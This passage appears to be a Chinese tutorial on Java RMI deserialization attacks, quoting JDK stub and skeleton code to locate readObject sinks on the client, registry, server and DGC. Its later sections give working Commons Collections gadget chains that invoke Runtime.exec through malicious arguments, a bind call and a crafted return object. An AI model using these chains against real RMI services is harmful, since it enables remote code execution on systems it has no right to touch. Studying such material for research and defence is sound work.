也有DGCImpl_Stub对象,它们的调用方法和RegistryImpl的对应相同,这里也调用了invoke方法,基本所有的客户端处理网络请求都调用了,所以这里也有一个利用点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void clean(ObjID[] var1, long var2, VMID var4, boolean var5) throws RemoteException {
try {
RemoteCall var6 = super.ref.newCall(this, operations, 0, -669196253586618813L);

try {
ObjectOutput var7 = var6.getOutputStream();
var7.writeObject(var1);
var7.writeLong(var2);
var7.writeObject(var4);
var7.writeBoolean(var5);
} catch (IOException var8) {
throw new MarshalException("error marshalling arguments", var8);
}

super.ref.invoke(var6);
super.ref.done(var6);
} catch (RuntimeException var9) {
throw var9;
} catch (RemoteException var10) {
throw var10;
} catch (Exception var11) {
throw new UnexpectedException("undeclared checked exception", var11);
}
}

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}

return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}

反序列化

客户端可能被反序列化的地方

在客户端远程连接服务器中它会出现两个调用readObject的地方,这里就可能会出现反序列化漏洞

首先是在StreamRemoteCall的executeCall方法里面会出现,这里会在invoke方法里面被调用,在处理远程连接时基本上都会调用这里方法,这里的后半段的switch里面当出现一个异常时就会进入其中调用readObject方法,这里其实是为了将异常的部分进行反序列化读取,但是如果服务器端传输了恶意代码就可能会导致用户端触发反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public void executeCall() throws Exception {
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
}

当客户端获取代理对象stub时是通过反序列化获取,这里就也会调用readObject方法

在调用RegistryImpl_Stub的lookup的方法里面就会触发

1
2
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();

下面就是在客户端远程调用服务端方法时也有触发序列化,也会调用executeCall方法

在对于获取函数的返回值也是通过反序列化的,在UnicastRef的unmarshalValue方法里面来获取远程执行的结果,这里也是调用了readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}

注册中心的反序列化点

在RegistryImpl_Skel的dispatch就利用了反序列化来获取客户端插入的lookup的值不管是客户端通过bind lookup或者rebind,注册中心接收的参数都是通过反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}

}

服务端的反序列化点

这里是在对于客户端远程调用服务端的函数时,提交参数的方法是通过序列化进行传输,所以在服务端就是通过unmarshalValue来读取反序列后的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}

在创建远程服务中系统会默认创建一个DGC,这个的主要功能就是回收机制,但是它的里面就存在和注册中心一样的问题,这里是系统自己创建的回收机制,所以也会存在对应的风险

首先是服务端的回收,里面会创建一个DGCImpl_Skel对象,在调用dispatch方法时就存在反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch (var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

客户端也是一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void clean(ObjID[] var1, long var2, VMID var4, boolean var5) throws RemoteException {
try {
RemoteCall var6 = super.ref.newCall(this, operations, 0, -669196253586618813L);

try {
ObjectOutput var7 = var6.getOutputStream();
var7.writeObject(var1);
var7.writeLong(var2);
var7.writeObject(var4);
var7.writeBoolean(var5);
} catch (IOException var8) {
throw new MarshalException("error marshalling arguments", var8);
}

super.ref.invoke(var6);
super.ref.done(var6);
} catch (RuntimeException var9) {
throw var9;
} catch (RemoteException var10) {
throw var10;
} catch (Exception var11) {
throw new UnexpectedException("undeclared checked exception", var11);
}
}

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}

return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}

攻击服务端的反序列化

首先需要在服务端出现对应的cc与或者cb依赖,这里就以cc3依赖来进行攻击

恶意参数上传

这里在上面就提到,在客户端调用服务端的方法时,如果方法里面有参数,服务端会通过unmarshalValue反序列化客户端的上传参数,如果我们的参数是一个恶意的对象就可以实现攻击,首先就先定义一个接收Object对象的类

下面就是创建一个危险类来作为参数传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Eval {
static Object geteval() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer transform = new ChainedTransformer(new Transformer[]{});
HashMap<Object,Object> map=new HashMap<Object,Object>();
Map<Object,Object> q= LazyMap.decorate(map,transform);
TiedMapEntry tiedmapentry=new TiedMapEntry(q,"111");
HashMap<Object,Object> o = new HashMap<>();
o.put(tiedmapentry,"aaa");
Class c=transform.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transform,transformers);
q.remove("111");
return o;
}
}

这里也是成功的执行了,因为上面的执行的要求太高需要对应的方法的参数接收Object对象,如果不是可以吗? 如果直接传肯定是不可以的

下面就去找找看是否可以绕过这层关系,从而实现反序列化这里可以看到报错的信息为hash未被找到,这里其实就会去以前创建的hashtable里面进行寻找,如果没有找到就会先这样进行报错,这里可以通过debug模式将要发送到服务端的方法进行修改即可

在 RemoteObjectInvocationHandler 的invokeRemote方法处下断点,将 Method 改为服务端存在的RMIObject的getName

动态类加载

这里需要有三个前提

1.Server 端必须加载和配置好 SecurityManager

2.java.rmi.Sever.useCodebaseOnly必须开启

3.版本必须是 6u45/7u21 之前

前面可以发现在UnicastServerRef的dispatch方法调用到UnicastRef的unmarshalValue进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}

在反序列化的过程中,会调用到MarshalInputStream的resolveClass方法来解析Class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected Class<?> resolveClass(ObjectStreamClass classDesc)
throws IOException, ClassNotFoundException
{
Object annotation = readLocation();
String className = classDesc.getName();
ClassLoader defaultLoader =
skipDefaultResolveClass ? null : latestUserDefinedLoader();
String codebase = null;
if (!useCodebaseOnly && annotation instanceof String) {
codebase = (String) annotation;
}
try {
return RMIClassLoader.loadClass(codebase, className,
defaultLoader);
} catch (AccessControlException e) {
return checkSunClass(className, e);
} catch (ClassNotFoundException e) {
try {
if (Character.isLowerCase(className.charAt(0)) &&
className.indexOf('.') == -1)
{
return super.resolveClass(classDesc);
}
} catch (ClassNotFoundException e2) {
}
throw e;
}
}

这里会先调用readLocation获取到 Codebase 的地址,后面就会检测useCodebaseOnly是否开启,所以这里需要有一个服务器先开启此服务,下面就可以直接到RMIClassLoader的loadClass方法,一直调用到LoaderHandler的loadClass方法里面,这里主要调用了loadClassForName方法,下面跟进就可以看到类加载的函数Class.forName

1
2
3
4
5
6
7
8
9
10
11
lass<?> c = loadClassForName(name, false, defaultLoader);
private static Class<?> loadClassForName(String name,
boolean initialize,
ClassLoader loader)
throws ClassNotFoundException
{
if (loader == null) {
ReflectUtil.checkPackageAccess(name);
}
return Class.forName(name, initialize, loader);
}

攻击 Registry 端的反序列化

这里需要先找到Registry端的反序列化点,这里是可以分为客户端和服务端对其的攻击,但是主要分析服务端攻击注册中心

客户端

在上面分析就知道,在客户端调用lookup方法时,会将我们传入的字符串进行反序列化,但是由于这里只能传入,我们传入一个恶意类来实现攻击

服务端

这里可以在bind方法里面写入恶意类来实现代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Class<?> c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String,Object> map=new HashMap<>();
map.put("a",geteval());

InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Target.class,map);
Remote remote= (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Remote.class},invocationHandler);

Naming.bind("luokuang",remote);
}
public static Object geteval() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer transform = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<Object,Object>();
Map<Object,Object> q= LazyMap.decorate(map,transform);
TiedMapEntry luokuang = new TiedMapEntry(q, "luokuang");
// luokuang.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,luokuang);
return badAttributeValueExpException;
}

攻击客户端的反序列化

上面分析知道,在客户端处理所有的网络请求时都会调用executeCall方法,这里就可以利用这一点来通过服务端对客户端进行攻击,虽然大多的场景用不到,但是还是可以去了解一下

首先通过调用服务端恶意方法的返回一个恶意对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void main(String[] args) throws Exception {
Class<?> c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String,Object> map=new HashMap<>();
map.put("a",geteval());

InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Target.class,map);
Remote remote= (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Remote.class},invocationHandler);
Registry registry = LocateRegistry.createRegistry(1088);
RMIObject AAA=new RMIObject();
Naming.bind("rmi://localhost:1088/luokuang", AAA);
}

public Object getName(Object aaa) throws Exception {
Object aa=geteval();
return aa;
}
public static Object geteval() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer transform = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<Object,Object>();
Map<Object,Object> q= LazyMap.decorate(map,transform);
TiedMapEntry luokuang = new TiedMapEntry(q, "luokuang");
// luokuang.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,luokuang);
return badAttributeValueExpException;
}

当对象调用该方法时就会触发反序列化攻击

或者直接通过bind一个恶意的远程对象,在客户端通过lookup来获取时进行反序列化从而触发反序列化攻击

DGC反序列化攻击

在创建远程服务中系统会默认创建一个DGC,这个的主要功能就是回收机制,但是它的里面就存在和注册中心一样的问题,这里是系统自己创建的回收机制,所以也会存在对应的风险

首先是服务端的回收,里面会创建一个DGCImpl_Skel对象,在调用dispatch方法时就存在反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch (var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

客户端也是一样,在DGCImpl_Stub对象里面调用了两个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void clean(ObjID[] var1, long var2, VMID var4, boolean var5) throws RemoteException {
try {
RemoteCall var6 = super.ref.newCall(this, operations, 0, -669196253586618813L);

try {
ObjectOutput var7 = var6.getOutputStream();
var7.writeObject(var1);
var7.writeLong(var2);
var7.writeObject(var4);
var7.writeBoolean(var5);
} catch (IOException var8) {
throw new MarshalException("error marshalling arguments", var8);
}

super.ref.invoke(var6);
super.ref.done(var6);
} catch (RuntimeException var9) {
throw var9;
} catch (RemoteException var10) {
throw var10;
} catch (Exception var11) {
throw new UnexpectedException("undeclared checked exception", var11);
}
}

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}

return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}